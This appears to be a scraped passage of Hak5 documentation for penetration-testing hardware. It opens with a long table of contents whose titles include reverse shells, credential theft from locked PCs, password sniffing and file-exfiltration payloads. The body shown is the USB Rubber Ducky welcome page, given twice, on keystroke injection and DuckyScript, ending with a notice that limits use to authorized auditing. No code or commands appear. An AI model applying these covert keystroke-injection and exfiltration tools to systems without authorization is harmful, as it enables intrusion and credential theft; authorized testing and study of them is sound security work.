# Table of Contents - [USB Rubber Ducky by Hak5 | Hak5 - USB Rubber Ducky](#usb-rubber-ducky-by-hak5-hak5-usb-rubber-ducky) - [USB Rubber Ducky by Hak5 | Hak5 - USB Rubber Ducky](#usb-rubber-ducky-by-hak5-hak5-usb-rubber-ducky) - [Unboxing "Quack-Start" Guide | Hak5 - USB Rubber Ducky](#unboxing-quack-start-guide-hak5-usb-rubber-ducky) - [DuckyScript™ Quick Reference | Hak5 - USB Rubber Ducky](#duckyscript-quick-reference-hak5-usb-rubber-ducky) - [DUCKY SCRIPT BASICS | Hak5 - USB Rubber Ducky](#ducky-script-basics-hak5-usb-rubber-ducky) - [Hello, World! | Hak5 - USB Rubber Ducky](#hello-world-hak5-usb-rubber-ducky) - [Keystroke Injection | Hak5 - USB Rubber Ducky](#keystroke-injection-hak5-usb-rubber-ducky) - [Comments | Hak5 - USB Rubber Ducky](#comments-hak5-usb-rubber-ducky) - [BASIC INPUT AND OUTPUT | Hak5 - USB Rubber Ducky](#basic-input-and-output-hak5-usb-rubber-ducky) - [Delays | Hak5 - USB Rubber Ducky](#delays-hak5-usb-rubber-ducky) - [The Button | Hak5 - USB Rubber Ducky](#the-button-hak5-usb-rubber-ducky) - [The LED | Hak5 - USB Rubber Ducky](#the-led-hak5-usb-rubber-ducky) - [Attack Modes | Hak5 - USB Rubber Ducky](#attack-modes-hak5-usb-rubber-ducky) - [Constants | Hak5 - USB Rubber Ducky](#constants-hak5-usb-rubber-ducky) - [Variables | Hak5 - USB Rubber Ducky](#variables-hak5-usb-rubber-ducky) - [OPERATORS, CONDITIONS, LOOPS, AND FUNCTIONS | Hak5 - USB Rubber Ducky](#operators-conditions-loops-and-functions-hak5-usb-rubber-ducky) - [Operators | Hak5 - USB Rubber Ducky](#operators-hak5-usb-rubber-ducky) - [ATTACK MODES, CONSTANTS, AND VARIABLES | Hak5 - USB Rubber Ducky](#attack-modes-constants-and-variables-hak5-usb-rubber-ducky) - [Conditional Statements | Hak5 - USB Rubber Ducky](#conditional-statements-hak5-usb-rubber-ducky) - [Loops | Hak5 - USB Rubber Ducky](#loops-hak5-usb-rubber-ducky) - [Functions | Hak5 - USB Rubber Ducky](#functions-hak5-usb-rubber-ducky) - [ADVANCED FEATURES | Hak5 - USB Rubber Ducky](#advanced-features-hak5-usb-rubber-ducky) - [Randomization | Hak5 - USB Rubber Ducky](#randomization-hak5-usb-rubber-ducky) - [Holding Keys | Hak5 - USB Rubber Ducky](#holding-keys-hak5-usb-rubber-ducky) - [Jitter | Hak5 - USB Rubber Ducky](#jitter-hak5-usb-rubber-ducky) - [Payload Hiding | Hak5 - USB Rubber Ducky](#payload-hiding-hak5-usb-rubber-ducky) - [Payload Control | Hak5 - USB Rubber Ducky](#payload-control-hak5-usb-rubber-ducky) - [Exfiltration | Hak5 - USB Rubber Ducky](#exfiltration-hak5-usb-rubber-ducky) - [Extensions | Hak5 - USB Rubber Ducky](#extensions-hak5-usb-rubber-ducky) - [Lock Keys | Hak5 - USB Rubber Ducky](#lock-keys-hak5-usb-rubber-ducky) - [TIPS & TROUBLESHOOTING | Hak5 - USB Rubber Ducky](#tips-troubleshooting-hak5-usb-rubber-ducky) - [Conditional Compilation | Hak5 - USB Rubber Ducky](#conditional-compilation-hak5-usb-rubber-ducky) - [Common Issues | Hak5 - USB Rubber Ducky](#common-issues-hak5-usb-rubber-ducky) - [Tips | Hak5 - USB Rubber Ducky](#tips-hak5-usb-rubber-ducky) - [Storage Activity | Hak5 - USB Rubber Ducky](#storage-activity-hak5-usb-rubber-ducky) - [LAN Turtle by Hak5 | Hak5 - LAN Turtle](#lan-turtle-by-hak5-hak5-lan-turtle) - [Packet Squirrel Mark by Hak5 | Hak5 - Packet Squirrel](#packet-squirrel-mark-by-hak5-hak5-packet-squirrel) - [Keycroc by Hak5 | Hak5 - Key Croc](#keycroc-by-hak5-hak5-key-croc) - [Bash Bunny by Hak5 | Hak5 - Bash Bunny](#bash-bunny-by-hak5-hak5-bash-bunny) - [PayloadStudio | Hak5 - Payload Studio](#payloadstudio-hak5-payload-studio) - [Shark Jack by Hak5 | Hak5 - Shark Jack](#shark-jack-by-hak5-hak5-shark-jack) - [Bash Bunny by Hak5 | Hak5 - Bash Bunny](#bash-bunny-by-hak5-hak5-bash-bunny) - [PayloadStudio | Hak5 - Payload Studio](#payloadstudio-hak5-payload-studio) - [LAN Turtle by Hak5 | Hak5 - LAN Turtle](#lan-turtle-by-hak5-hak5-lan-turtle) - [Getting Started | Hak5 - Payload Studio](#getting-started-hak5-payload-studio) - [Faq | Hak5 - Payload Studio](#faq-hak5-payload-studio) - [IDE Settings | Hak5 - Payload Studio](#ide-settings-hak5-payload-studio) - [Keyboard Shortcuts | Hak5 - Payload Studio](#keyboard-shortcuts-hak5-payload-studio) - [Editor Settings | Hak5 - Payload Studio](#editor-settings-hak5-payload-studio) - [Compiler Settings | Hak5 - Payload Studio](#compiler-settings-hak5-payload-studio) - [Packet Squirrel Mark by Hak5 | Hak5 - Packet Squirrel](#packet-squirrel-mark-by-hak5-hak5-packet-squirrel) - [The Module System | Hak5 - LAN Turtle](#the-module-system-hak5-lan-turtle) - [Overview | Hak5 - Payload Studio](#overview-hak5-payload-studio) - [Appearance | Hak5 - Payload Studio](#appearance-hak5-payload-studio) - [Usb Flash Disk Support | Hak5 - Packet Squirrel](#usb-flash-disk-support-hak5-packet-squirrel) - [Default Settings | Hak5 - LAN Turtle](#default-settings-hak5-lan-turtle) - [Editing Basics | Hak5 - Payload Studio](#editing-basics-hak5-payload-studio) - [Default Settings | Hak5 - Packet Squirrel](#default-settings-hak5-packet-squirrel) - [SSH Clients | Hak5 - LAN Turtle](#ssh-clients-hak5-lan-turtle) - [Keycroc by Hak5 | Hak5 - Key Croc](#keycroc-by-hak5-hak5-key-croc) - [LED Status Indications | Hak5 - Packet Squirrel](#led-status-indications-hak5-packet-squirrel) - [Setting Up A New Lan Turtle | Hak5 - LAN Turtle](#setting-up-a-new-lan-turtle-hak5-lan-turtle) - [Selecting And Adding Payloads | Hak5 - Packet Squirrel](#selecting-and-adding-payloads-hak5-packet-squirrel) - [Installing Modules | Hak5 - LAN Turtle](#installing-modules-hak5-lan-turtle) - [Your First Reverse Shell | Hak5 - LAN Turtle](#your-first-reverse-shell-hak5-lan-turtle) - [LAN Turtle Basics | Hak5 - LAN Turtle](#lan-turtle-basics-hak5-lan-turtle) - [Spoofing Dns | Hak5 - Packet Squirrel](#spoofing-dns-hak5-packet-squirrel) - [Specifications | Hak5 - LAN Turtle](#specifications-hak5-lan-turtle) - [Packet Squirrel Basics | Hak5 - Packet Squirrel](#packet-squirrel-basics-hak5-packet-squirrel) - [Openvpn Payload | Hak5 - Packet Squirrel](#openvpn-payload-hak5-packet-squirrel) - [Factory Reset | Hak5 - LAN Turtle](#factory-reset-hak5-lan-turtle) - [Manual Upgrade | Hak5 - LAN Turtle](#manual-upgrade-hak5-lan-turtle) - [Man In The Middle With Dns Spoof | Hak5 - LAN Turtle](#man-in-the-middle-with-dns-spoof-hak5-lan-turtle) - [Man In The Middle With Url Snarf | Hak5 - LAN Turtle](#man-in-the-middle-with-url-snarf-hak5-lan-turtle) - [Metasploit And Lan Turtle With Meterpreter | Hak5 - LAN Turtle](#metasploit-and-lan-turtle-with-meterpreter-hak5-lan-turtle) - [Obtaining Credentials From A Locked Pc | Hak5 - LAN Turtle](#obtaining-credentials-from-a-locked-pc-hak5-lan-turtle) - [Ducky Script For Packet Squirrel | Hak5 - Packet Squirrel](#ducky-script-for-packet-squirrel-hak5-packet-squirrel) - [Persistent Shell Access With Autossh | Hak5 - LAN Turtle](#persistent-shell-access-with-autossh-hak5-lan-turtle) - [Serial Console Access | Hak5 - Key Croc](#serial-console-access-hak5-key-croc) - [The NETMODE Command | Hak5 - Packet Squirrel](#the-netmode-command-hak5-packet-squirrel) - [The LED Command | Hak5 - Packet Squirrel](#the-led-command-hak5-packet-squirrel) - [Remote File Systems With Sshfs | Hak5 - LAN Turtle](#remote-file-systems-with-sshfs-hak5-lan-turtle) - [The Turtle Shell And Turtle Modules | Hak5 - LAN Turtle](#the-turtle-shell-and-turtle-modules-hak5-lan-turtle) - [Connecting For The First Time | Hak5 - LAN Turtle](#connecting-for-the-first-time-hak5-lan-turtle) - [The SWITCH Command | Hak5 - Packet Squirrel](#the-switch-command-hak5-packet-squirrel) - [The Button Command | Hak5 - Packet Squirrel](#the-button-command-hak5-packet-squirrel) - [Updating The Firmware | Hak5 - Key Croc](#updating-the-firmware-hak5-key-croc) - [Included Tools | Hak5 - Packet Squirrel](#included-tools-hak5-packet-squirrel) - [Factory Reset | Hak5 - Packet Squirrel](#factory-reset-hak5-packet-squirrel) - [Logging Network Traffic | Hak5 - Packet Squirrel](#logging-network-traffic-hak5-packet-squirrel) - [Factory Reset | Hak5 - Key Croc](#factory-reset-hak5-key-croc) - [Faq | Hak5 - Packet Squirrel](#faq-hak5-packet-squirrel) - [Power Considerations | Hak5 - LAN Turtle](#power-considerations-hak5-lan-turtle) - [Key Croc Basics | Hak5 - Key Croc](#key-croc-basics-hak5-key-croc) - [Getting The Packet Squirrel Online | Hak5 - Packet Squirrel](#getting-the-packet-squirrel-online-hak5-packet-squirrel) - [First Boot And Software Update | Hak5 - LAN Turtle](#first-boot-and-software-update-hak5-lan-turtle) - [New Features In Key Croc 1.3 | Hak5 - Key Croc](#new-features-in-key-croc-1-3-hak5-key-croc) - [Payload Development Basics | Hak5 - Packet Squirrel](#payload-development-basics-hak5-packet-squirrel) - [Default Settings | Hak5 - Key Croc](#default-settings-hak5-key-croc) - [Understanding Languages | Hak5 - Key Croc](#understanding-languages-hak5-key-croc) - [Manual Upgrade | Hak5 - Packet Squirrel](#manual-upgrade-hak5-packet-squirrel) - [Ducky Script Commands | Hak5 - Key Croc](#ducky-script-commands-hak5-key-croc) - [The MATCH Command | Hak5 - Key Croc](#the-match-command-hak5-key-croc) - [The SAVEKEYS Command | Hak5 - Key Croc](#the-savekeys-command-hak5-key-croc) - [The LED Command | Hak5 - Key Croc](#the-led-command-hak5-key-croc) - [Firmware Recovery | Hak5 - Packet Squirrel](#firmware-recovery-hak5-packet-squirrel) - [Getting The Key Croc Online | Hak5 - Key Croc](#getting-the-key-croc-online-hak5-key-croc) - [Advanced Quack Commands | Hak5 - Key Croc](#advanced-quack-commands-hak5-key-croc) - [Understanding The File System | Hak5 - Key Croc](#understanding-the-file-system-hak5-key-croc) - [Default Settings | Hak5 - Shark Jack](#default-settings-hak5-shark-jack) - [Writing A Simple Payload | Hak5 - Shark Jack](#writing-a-simple-payload-hak5-shark-jack) - [Installing Extras Like Metasploit | Hak5 - Key Croc](#installing-extras-like-metasploit-hak5-key-croc) - [Helpful Payload Snippets | Hak5 - Key Croc](#helpful-payload-snippets-hak5-key-croc) - [Two Key Commands | Hak5 - Shark Jack](#two-key-commands-hak5-shark-jack) - [Over The Air Upgrade | Hak5 - Shark Jack](#over-the-air-upgrade-hak5-shark-jack) - [The NETMODE Command | Hak5 - Shark Jack](#the-netmode-command-hak5-shark-jack) - [The BATTERY Command | Hak5 - Shark Jack](#the-battery-command-hak5-shark-jack) - [The SWITCH Command | Hak5 - Shark Jack](#the-switch-command-hak5-shark-jack) - [The SERIAL_WRITE Command | Hak5 - Shark Jack](#the-serial-write-command-hak5-shark-jack) - [The LED Command | Hak5 - Shark Jack](#the-led-command-hak5-shark-jack) - [Charge The Shark Jack From Your Phone | Hak5 - Shark Jack](#charge-the-shark-jack-from-your-phone-hak5-shark-jack) - [Android Serial Setup For Shark Jack Cable | Hak5 - Shark Jack](#android-serial-setup-for-shark-jack-cable-hak5-shark-jack) - [Configuration Options | Hak5 - Key Croc](#configuration-options-hak5-key-croc) - [Included Tools | Hak5 - Shark Jack](#included-tools-hak5-shark-jack) - [The LIST Command | Hak5 - Shark Jack](#the-list-command-hak5-shark-jack) - [The ACTIVATE Command | Hak5 - Shark Jack](#the-activate-command-hak5-shark-jack) - [Important Safety Information And Warnings | Hak5 - Shark Jack](#important-safety-information-and-warnings-hak5-shark-jack) - [Unboxing And Setup | Hak5 - Shark Jack](#unboxing-and-setup-hak5-shark-jack) - [USB Identifiers | Hak5 - Key Croc](#usb-identifiers-hak5-key-croc) - [Password Sniffing With The Key Croc Easy Or Super Easy | Hak5 - Key Croc](#password-sniffing-with-the-key-croc-easy-or-super-easy-hak5-key-croc) - [Upgrading Firmware | Hak5 - Packet Squirrel](#upgrading-firmware-hak5-packet-squirrel) - [Hardware Id Cloning | Hak5 - Key Croc](#hardware-id-cloning-hak5-key-croc) - [Payload Development | Hak5 - Key Croc](#payload-development-hak5-key-croc) - [Files And Directory Structure | Hak5 - Key Croc](#files-and-directory-structure-hak5-key-croc) - [Interactive Payload Development | Hak5 - Key Croc](#interactive-payload-development-hak5-key-croc) - [Shark Jack Basics | Hak5 - Shark Jack](#shark-jack-basics-hak5-shark-jack) - [Using Sharkjack.sh | Hak5 - Shark Jack](#using-sharkjack-sh-hak5-shark-jack) - [The QUACK Command | Hak5 - Key Croc](#the-quack-command-hak5-key-croc) - [Payload Development Basics | Hak5 - Shark Jack](#payload-development-basics-hak5-shark-jack) - [Using The Shark Jack With The Plunder Bug As A Simple Switch | Hak5 - Shark Jack](#using-the-shark-jack-with-the-plunder-bug-as-a-simple-switch-hak5-shark-jack) - [Shark Jack by Hak5 | Hak5 - Shark Jack](#shark-jack-by-hak5-hak5-shark-jack) - [The UPDATE_PAYLOADS Command | Hak5 - Shark Jack](#the-update-payloads-command-hak5-shark-jack) - [Specifications | Hak5 - Shark Jack](#specifications-hak5-shark-jack) - [Firmware Recovery | Hak5 - Shark Jack](#firmware-recovery-hak5-shark-jack) - [Manual Upgrade | Hak5 - Shark Jack](#manual-upgrade-hak5-shark-jack) - [The Cloud C2 Commands | Hak5 - Shark Jack](#the-cloud-c2-commands-hak5-shark-jack) - [Configuring Cloud C | Hak5 - Key Croc](#configuring-cloud-c-hak5-key-croc) - [Mass Storage Structure | Hak5 - Bash Bunny](#mass-storage-structure-hak5-bash-bunny) - [LED Status Indications | Hak5 - Bash Bunny](#led-status-indications-hak5-bash-bunny) - [Installing Additional Tools | Hak5 - Bash Bunny](#installing-additional-tools-hak5-bash-bunny) - [Installing Additional Languages | Hak5 - Bash Bunny](#installing-additional-languages-hak5-bash-bunny) - [Switch Positions | Hak5 - Bash Bunny](#switch-positions-hak5-bash-bunny) - [Considerations for Mark II | Hak5 - Bash Bunny](#considerations-for-mark-ii-hak5-bash-bunny) - [DuckyScript™ On The Bash Bunny | Hak5 - Bash Bunny](#duckyscript-on-the-bash-bunny-hak5-bash-bunny) - [QUACK | Hak5 - Bash Bunny](#quack-hak5-bash-bunny) - [Extensions | Hak5 - Bash Bunny](#extensions-hak5-bash-bunny) - [LED | Hak5 - Bash Bunny](#led-hak5-bash-bunny) - [Working with the File System | Hak5 - Bash Bunny](#working-with-the-file-system-hak5-bash-bunny) - [Contributing Best Practices | Hak5 - Bash Bunny](#contributing-best-practices-hak5-bash-bunny) - [CPU Control | Hak5 - Bash Bunny](#cpu-control-hak5-bash-bunny) - [VID, PID, MAN, PROD, SN | Hak5 - Bash Bunny](#vid-pid-man-prod-sn-hak5-bash-bunny) - [Submitting Payloads | Hak5 - Bash Bunny](#submitting-payloads-hak5-bash-bunny) - [WAIT_FOR_PRESENT | Hak5 - Bash Bunny](#wait-for-present-hak5-bash-bunny) - [Sharing an Internet connection from Windows | Hak5 - Bash Bunny](#sharing-an-internet-connection-from-windows-hak5-bash-bunny) - [Sharing an Internet connection from Linux | Hak5 - Bash Bunny](#sharing-an-internet-connection-from-linux-hak5-bash-bunny) - [Sharing an Internet connection from MacOS | Hak5 - Bash Bunny](#sharing-an-internet-connection-from-macos-hak5-bash-bunny) - [Password Reset | Hak5 - Bash Bunny](#password-reset-hak5-bash-bunny) - [Writing Keystroke Injection Payloads for the Bash Bunny | Hak5 - Bash Bunny](#writing-keystroke-injection-payloads-for-the-bash-bunny-hak5-bash-bunny) - [Getting Root on a Bash Bunny from the Serial Console | Hak5 - Bash Bunny](#getting-root-on-a-bash-bunny-from-the-serial-console-hak5-bash-bunny) - [Top 5 Bash Bunny Exfiltration Payloads to "steal files" | Hak5 - Bash Bunny](#top-5-bash-bunny-exfiltration-payloads-to-steal-files-hak5-bash-bunny) - [Payload Development Basics | Hak5 - Bash Bunny](#payload-development-basics-hak5-bash-bunny) - [Remote Triggers for the Bash Bunny Mark II | Hak5 - Bash Bunny](#remote-triggers-for-the-bash-bunny-mark-ii-hak5-bash-bunny) - [Bash Bunny Phishing Attack with Hamsters | Hak5 - Bash Bunny](#bash-bunny-phishing-attack-with-hamsters-hak5-bash-bunny) - [Geofencing for the Bash Bunny Mark II | Hak5 - Bash Bunny](#geofencing-for-the-bash-bunny-mark-ii-hak5-bash-bunny) - [Password Grabber Bash Bunny Payload | Hak5 - Bash Bunny](#password-grabber-bash-bunny-payload-hak5-bash-bunny) - [Operating System Detection with the Bash Bunny | Hak5 - Bash Bunny](#operating-system-detection-with-the-bash-bunny-hak5-bash-bunny) - [Bash Bunny Payload - Sudo Bashdoor on Linux | Hak5 - Bash Bunny](#bash-bunny-payload-sudo-bashdoor-on-linux-hak5-bash-bunny) - [Bash Bunny Payload - 1990s Prank | Hak5 - Bash Bunny](#bash-bunny-payload-1990s-prank-hak5-bash-bunny) - [Bash Bunny Dev - Behind the Scenes | Hak5 - Bash Bunny](#bash-bunny-dev-behind-the-scenes-hak5-bash-bunny) - [Concealed Exfiltration - Pocket Network Attacks with the Bash Bunny | Hak5 - Bash Bunny](#concealed-exfiltration-pocket-network-attacks-with-the-bash-bunny-hak5-bash-bunny) - [Bash Bunny Extensions | Hak5 - Bash Bunny](#bash-bunny-extensions-hak5-bash-bunny) - [Reverse Shells on Linux with Bash Bunny | Hak5 - Bash Bunny](#reverse-shells-on-linux-with-bash-bunny-hak5-bash-bunny) - [How to write Bash Bunny payloads and contribute on GitHub | Hak5 - Bash Bunny](#how-to-write-bash-bunny-payloads-and-contribute-on-github-hak5-bash-bunny) - [Attack Mode | Hak5 - Bash Bunny](#attack-mode-hak5-bash-bunny) - [Getting the Bash Bunny Online | Hak5 - Bash Bunny](#getting-the-bash-bunny-online-hak5-bash-bunny) - [Updating the Bash Bunny Firmware | Hak5 - Bash Bunny](#updating-the-bash-bunny-firmware-hak5-bash-bunny) - [Factory Reset | Hak5 - Bash Bunny](#factory-reset-hak5-bash-bunny) - [Network Hijacking Attacks with the Bash Bunny | Hak5 - Bash Bunny](#network-hijacking-attacks-with-the-bash-bunny-hak5-bash-bunny) - [Bash Bunny Primer | Hak5 - Bash Bunny](#bash-bunny-primer-hak5-bash-bunny) - [Command Quick Reference | Hak5 - Key Croc](#command-quick-reference-hak5-key-croc) - [Getting Started | Hak5 - Payload Studio](#getting-started-hak5-payload-studio) - [Getting Started | Hak5 - Packet Squirrel](#getting-started-hak5-packet-squirrel) - [Setup Guides | Hak5 - LAN Turtle](#setup-guides-hak5-lan-turtle) - [Customization | Hak5 - Payload Studio](#customization-hak5-payload-studio) - [Troubleshooting | Hak5 - Packet Squirrel](#troubleshooting-hak5-packet-squirrel) - [Basics | Hak5 - Key Croc](#basics-hak5-key-croc) - [Adding Devices | Hak5 - Cloud C²](#adding-devices-hak5-cloud-c-) - [Getting Started | Hak5 - Bash Bunny](#getting-started-hak5-bash-bunny) - [Writing Payloads | Hak5 - Bash Bunny](#writing-payloads-hak5-bash-bunny) - [Attack Mode | Hak5 - Bash Bunny](#attack-mode-hak5-bash-bunny) - [Software Updates | Hak5 - Bash Bunny](#software-updates-hak5-bash-bunny) - [Trouble Shooting | Hak5 - Bash Bunny](#trouble-shooting-hak5-bash-bunny) - [Beginner Guides | Hak5 - Bash Bunny](#beginner-guides-hak5-bash-bunny) - [Video Guides | Hak5 - Bash Bunny](#video-guides-hak5-bash-bunny) - [Internet Connectivity | Hak5 - Bash Bunny](#internet-connectivity-hak5-bash-bunny) - [Files And Directory Structure | Hak5 - Key Croc](#files-and-directory-structure-hak5-key-croc) - [Writing Payloads | Hak5 - Key Croc](#writing-payloads-hak5-key-croc) - [Tips And Tricks | Hak5 - Key Croc](#tips-and-tricks-hak5-key-croc) - [Beginner Guides | Hak5 - Shark Jack](#beginner-guides-hak5-shark-jack) - [Getting Started | Hak5 - Shark Jack](#getting-started-hak5-shark-jack) - [The ATTACKMODE Command | Hak5 - Key Croc](#the-attackmode-command-hak5-key-croc) - [Software Updates | Hak5 - Shark Jack](#software-updates-hak5-shark-jack) - [Writing Payloads | Hak5 - Shark Jack](#writing-payloads-hak5-shark-jack) - [Internet Connectivity | Hak5 - Packet Squirrel](#internet-connectivity-hak5-packet-squirrel) - [Software Updates | Hak5 - Packet Squirrel](#software-updates-hak5-packet-squirrel) - [Managing Payloads | Hak5 - Shark Jack](#managing-payloads-hak5-shark-jack) - [Beginner Guides | Hak5 - Key Croc](#beginner-guides-hak5-key-croc) - [Video Guides | Hak5 - LAN Turtle](#video-guides-hak5-lan-turtle) - [Configuration | Hak5 - Key Croc](#configuration-hak5-key-croc) - [Product Information | Hak5 - Shark Jack](#product-information-hak5-shark-jack) - [Troubleshooting | Hak5 - Shark Jack](#troubleshooting-hak5-shark-jack) - [Tips And Tricks | Hak5 - Shark Jack](#tips-and-tricks-hak5-shark-jack) - [Payload Development | Hak5 - Packet Squirrel](#payload-development-hak5-packet-squirrel) - [Default Payloads | Hak5 - Packet Squirrel](#default-payloads-hak5-packet-squirrel) - [Getting Started | Hak5 - LAN Turtle](#getting-started-hak5-lan-turtle) - [Faq Troubleshooting | Hak5 - LAN Turtle](#faq-troubleshooting-hak5-lan-turtle) - [Cloud C2 Basics | Hak5 - Cloud C²](#cloud-c2-basics-hak5-cloud-c-) - [Cloud C² by Hak5 | Hak5 - Cloud C²](#cloud-c-by-hak5-hak5-cloud-c-) - [Licensing And Downloads | Hak5 - Cloud C²](#licensing-and-downloads-hak5-cloud-c-) - [Navigating The Interface | Hak5 - Cloud C²](#navigating-the-interface-hak5-cloud-c-) - [Installation And Setup | Hak5 - Cloud C²](#installation-and-setup-hak5-cloud-c-) - [Managing Devices | Hak5 - Cloud C²](#managing-devices-hak5-cloud-c-) - [Quick Deployment On An Amazon Lightsail Vps | Hak5 - Cloud C²](#quick-deployment-on-an-amazon-lightsail-vps-hak5-cloud-c-) - [Lets Encrypt Ssl Configuration And Device Enrollment | Hak5 - Cloud C²](#lets-encrypt-ssl-configuration-and-device-enrollment-hak5-cloud-c-) - [Cloud C2 Setup With Self Signed Ssl Certificates | Hak5 - Cloud C²](#cloud-c2-setup-with-self-signed-ssl-certificates-hak5-cloud-c-) - [Device Cannot Connect To Server | Hak5 - Cloud C²](#device-cannot-connect-to-server-hak5-cloud-c-) - [Enabling Cloud C2 As A Service On Boot And Exfiltration | Hak5 - Cloud C²](#enabling-cloud-c2-as-a-service-on-boot-and-exfiltration-hak5-cloud-c-) - [Upgrading Cloud C2 Editions | Hak5 - Cloud C²](#upgrading-cloud-c2-editions-hak5-cloud-c-) - [Icon Sets | Hak5 - Cloud C²](#icon-sets-hak5-cloud-c-) - [Installing Updates To The Cloud C2 Server | Hak5 - Cloud C²](#installing-updates-to-the-cloud-c2-server-hak5-cloud-c-) - [Account Recovery | Hak5 - Cloud C²](#account-recovery-hak5-cloud-c-) --- # USB Rubber Ducky by Hak5 | Hak5 - USB Rubber Ducky [](https://docs.hak5.org/hak5-usb-rubber-ducky/) menu search Search Enable dark mode Enable light mode * to navigate * to select * to close cancel On this page Table of Contents _article_ USB Rubber Ducky by Hak5 ======================== Welcome [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/#welcome) ----------------------------------------------------------------------- This guide covers USB Rubber Ducky™ hardware mark I (2011) and II (2022), as well as DuckyScript™ version 1.0 (2011) and 3.0 (2022). warning The e-book PDF generated by this document may not format correctly on all devices. For the most-to-date version, please see [https://docs.hak5.org](https://docs.hak5.org/) report **DO NOT FLASH**. The limited warranty does not cover damage caused by firmware flash. Flashing legacy or third-party firmware will render the device irrecoverable. The new USB Rubber Ducky is architected in conjunction with Payload Studio such that firmware flashing will never be required. Disregard articles related to the old USB Rubber Ducky and rely solely on the official documentation here at [docs.hak5.org](https://docs.hak5.org/) . About the USB Rubber Ducky [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/#about-the-usb-rubber-ducky) ------------------------------------------------------------------------------------------------------------- ![New USB Rubber Ducky](https://docs.hak5.org/hak5-usb-rubber-ducky/images/usb-rubber-ducky-3d-white-bg.png) New USB Rubber Ducky Hak5 introduced _Keystroke Injection_ in 2010 with the USB Rubber Ducky™. This technique, developed by Hak5 founder Darren Kitchen, was his tool of choice for automating mundane tasks at his IT job — fixing printers, network shares and the like. Today the USB Rubber Ducky is a hacker culture icon, synonymous with the keystroke injection technique it pioneered. It’s found its way into the hearts and toolkits of Cybersecurity and IT pros the world over — including many movies and TV shows! Core to its success is its simple language, DuckyScript™. Originally just three commands, it could be learned by anyone—regardless of experience—in minutes. Now in version 3.0, DuckyScript is a feature rich structured programming language. It’s capable of the most complex attacks, all while keeping it simple. Following this guide you will learn and build on your knowledge — from keystroke injection to variables, flow control logic and advanced features. As you do, you’ll unlock ever more creative potential from your USB Rubber Ducky! Quack on! What’s New In DuckyScript 3.0? [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/#whats-new-in-duckyscript-30) ------------------------------------------------------------------------------------------------------------------ DuckyScript 1.0, developed by Hak5 in 2010, is a macro scripting language. It sequentially processes one of two actions: keystroke injection (type a set of keys), and delay (momentarily pause). These actions, written in what is known as a payload, instruct the USB Rubber Ducky on what to do. Either type, or pause. Over the years the DuckyScript language has evolved to include device specific commands. With the introduction of the Bash Bunny in 2017, DuckyScript was coupled with the shell scripting language BASH. Leveraging the Linux base, these DuckyScript payloads allowed the device to perform multi-vector USB attacks. Similarly, DuckyScript was included in the Shark Jack to probe Ethernet networks. The Key Croc uses DuckyScript 2.0 to execute a myriad of hotplug attacks based on live keylogging data. Even third party tools designed in partnership with Hak5 licensed DuckyScript — notably the O.MG Platform of malicious cables and adapters by Mischief Gadgets. With the new USB Rubber Ducky in 2022, DuckyScript 3.0 has been introduced. DuckyScript 3.0 is a feature rich, structured programming language. It includes all of the previously available commands and features of the original DuckyScript. Additionally, DuckyScript 3.0 introduces control flow constructs (if/then/else), repetition (while loops), functions, extensions. Plus, DuckyScript 3.0 includes many features specific to keystroke injection attack/automation, such as HID & Storage attack modes, Keystroke Reflection, jitter and randomization to name a few. This documentation will cover the basics, then introduce each of the new features such that they build upon one another. Legal [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/#legal) ------------------------------------------------------------------- USB Rubber Ducky and DuckyScript are the trademarks of Hak5 LLC. Copyright © 2010 Hak5 LLC. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means without prior written permission from the copyright owner. USB Rubber Ducky and DuckyScript are subject to the [Hak5 license agreement](https://hak5.org/license) ([https://hak5.org/license](https://hak5.org/license) ) DuckyScript is the intellectual property of Hak5 LLC for the sole benefit of Hak5 LLC and its licensees. To inquire about obtaining a license to use this material in your own project, [contact us](https://support.hak5.org/) . Please report counterfeits and brand abuse to [legal@hak5.org](mailto:legal@hak5.org) . This material is for education, authorized auditing and analysis purposes where permitted subject to local and international laws. Users are solely responsible for compliance. Hak5 LLC claims no responsibility for unauthorized or unlawful use. Hak5 LLC products and technology are only available to BIS recognized license exception ENC favorable treatment countries pursuant to US 15 CFR Supplement No 3 to Part 740. * * * [DuckyScript™ Quick Reference _navigate\_next_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/) --- # USB Rubber Ducky by Hak5 | Hak5 - USB Rubber Ducky [](https://docs.hak5.org/hak5-usb-rubber-ducky/) menu search Search Enable dark mode Enable light mode * to navigate * to select * to close cancel On this page Welcome _article_ USB Rubber Ducky by Hak5 ======================== Welcome [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/usb-rubber-ducky-by-hak5/#welcome) ------------------------------------------------------------------------------------------------ This guide covers USB Rubber Ducky™ hardware mark I (2011) and II (2022), as well as DuckyScript™ version 1.0 (2011) and 3.0 (2022). warning The e-book PDF generated by this document may not format correctly on all devices. For the most-to-date version, please see [https://docs.hak5.org](https://docs.hak5.org/) report **DO NOT FLASH**. The limited warranty does not cover damage caused by firmware flash. Flashing legacy or third-party firmware will render the device irrecoverable. The new USB Rubber Ducky is architected in conjunction with Payload Studio such that firmware flashing will never be required. Disregard articles related to the old USB Rubber Ducky and rely solely on the official documentation here at [docs.hak5.org](https://docs.hak5.org/) . About the USB Rubber Ducky [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/usb-rubber-ducky-by-hak5/#about-the-usb-rubber-ducky) -------------------------------------------------------------------------------------------------------------------------------------- ![New USB Rubber Ducky](https://docs.hak5.org/hak5-usb-rubber-ducky/images/usb-rubber-ducky-3d-white-bg.png) New USB Rubber Ducky Hak5 introduced _Keystroke Injection_ in 2010 with the USB Rubber Ducky™. This technique, developed by Hak5 founder Darren Kitchen, was his tool of choice for automating mundane tasks at his IT job — fixing printers, network shares and the like. Today the USB Rubber Ducky is a hacker culture icon, synonymous with the keystroke injection technique it pioneered. It’s found its way into the hearts and toolkits of Cybersecurity and IT pros the world over — including many movies and TV shows! Core to its success is its simple language, DuckyScript™. Originally just three commands, it could be learned by anyone—regardless of experience—in minutes. Now in version 3.0, DuckyScript is a feature rich structured programming language. It’s capable of the most complex attacks, all while keeping it simple. Following this guide you will learn and build on your knowledge — from keystroke injection to variables, flow control logic and advanced features. As you do, you’ll unlock ever more creative potential from your USB Rubber Ducky! Quack on! What’s New In DuckyScript 3.0? 